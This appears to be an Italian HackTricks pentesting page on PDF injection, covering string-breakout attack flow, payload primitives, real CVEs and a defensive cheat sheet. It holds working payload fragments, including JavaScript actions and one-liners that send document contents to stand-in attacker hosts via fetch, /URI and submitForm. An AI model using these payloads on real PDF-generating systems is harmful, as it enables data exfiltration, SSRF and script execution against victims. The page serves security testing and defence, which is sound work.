PDF Injection

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Se il tuo input viene riflesso all'interno di un file PDF, puoi provare a iniettare dati PDF per eseguire JavaScript, effettuare SSRF o rubare il contenuto del PDF. La sintassi PDF è estremamente permissiva: se riesci a uscire dalla stringa o dal dizionario che sta incorporando il tuo input, puoi aggiungere oggetti completamente nuovi (o nuove chiavi nello stesso oggetto) che Acrobat/Chrome analizzerà felicemente. Dal 2024, una serie di report di bug-bounty hanno dimostrato che una parentesi non scappata o una barra rovesciata è sufficiente per l'esecuzione completa dello script.

TL;DR – Flusso di attacco moderno (2024)

  1. Trova qualsiasi valore controllato dall'utente che finisca all'interno di una (stringa di parentesi), /URI ( … ) o campo /JS ( … ) nel PDF generato.
  2. Inietta ) (chiudendo la stringa) seguito da uno dei primitivi qui sotto e termina con un'altra parentesi aperta per mantenere la sintassi valida.
  3. Consegna il PDF malevolo a una vittima (o a un servizio backend che rende automaticamente il file – ottimo per bug ciechi).
  4. Il tuo payload viene eseguito nel visualizzatore PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (vedi CVE-2024-4367)
  • Acrobat → API JavaScript completa (può esfiltrare contenuti di file arbitrari con this.getPageNthWord)

Esempio (dirottamento del link di annotazione):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Il primo ) chiude la stringa URI originale, quindi aggiungiamo un nuovo dizionario Action che Acrobat eseguirà quando l'utente clicca sul link.

Utili Primitivi di Iniezione

ObiettivoFrammento PayloadNote
JavaScript all'apertura/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Esegue istantaneamente quando il documento viene aperto (funziona in Acrobat, non in Chrome).
JavaScript sul link/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Funziona in PDFium & Acrobat se controlli un'annotazione /Link.
Esfiltrazione di dati cieca<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Combina con this.getPageNthWord all'interno di JS per rubare contenuti.
SSRF lato serverStesso di sopra ma targetizza un URL interno – ottimo quando il PDF è reso da servizi di back-office che rispettano /URI.
Interruzione di linea per nuovi oggetti\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjSe la libreria ti consente di iniettare caratteri di nuova linea, puoi creare oggetti completamente nuovi.

Trucco di Enumerazione Cieca

Gareth Heyes (PortSwigger) ha rilasciato una riga di codice che enumera ogni oggetto all'interno di un documento sconosciuto – utile quando non puoi vedere il PDF generato:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Il codice itera sul DOM di Acrobat e fa richieste outbound per ogni coppia proprietà/valore, fornendoti un dump JSON-ish del file. Vedi il white-paper “Portable Data exFiltration” per la tecnica completa.

Bug nel Mondo Reale (2023-2025)

  • CVE-2024-4367 – Esecuzione arbitraria di JavaScript in PDF.js di Firefox prima della versione 4.2.67 ha bypassato il sandbox con un'azione /JavaScript creata ad hoc.
  • Bug bounty 2024-05 – Un importante fintech ha consentito note di fattura fornite dai clienti che sono arrivate in /URI; il report ha pagato $10k dopo aver dimostrato SSRF verso l'host di metadata interno utilizzando file:/// URI.
  • CVE-2023-26155 – Iniezione di comando node-qpdf tramite percorso PDF non sanitizzato mostra l'importanza di eseguire l'escape di backslash e parentesi anche prima del layer PDF.

Cheatsheet Difensivo

  1. Non concatenare mai input utente raw all'interno di stringhe o nomi (). Esegui l'escape di \, (, ) come richiesto dal §7.3 della specifica PDF o utilizza stringhe esadecimali <...>.
  2. Se costruisci link, preferisci /URI (https://…) che codifichi completamente l'URL; blocca gli schemi javascript: nei visualizzatori client.
  3. Rimuovi o valida i dizionari /OpenAction, /AA (azioni aggiuntive), /Launch, /SubmitForm e /ImportData durante il post-processing dei PDF.
  4. Sul lato server, rendi i PDF non fidati con un convertitore headless (es. qpdf –decrypt –linearize) che rimuove JavaScript e azioni esterne.
  5. Tieni aggiornati i visualizzatori PDF; PDF.js < 4.2.67 e Acrobat Reader prima di luglio 2024 consentono l'esecuzione di codice banale.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks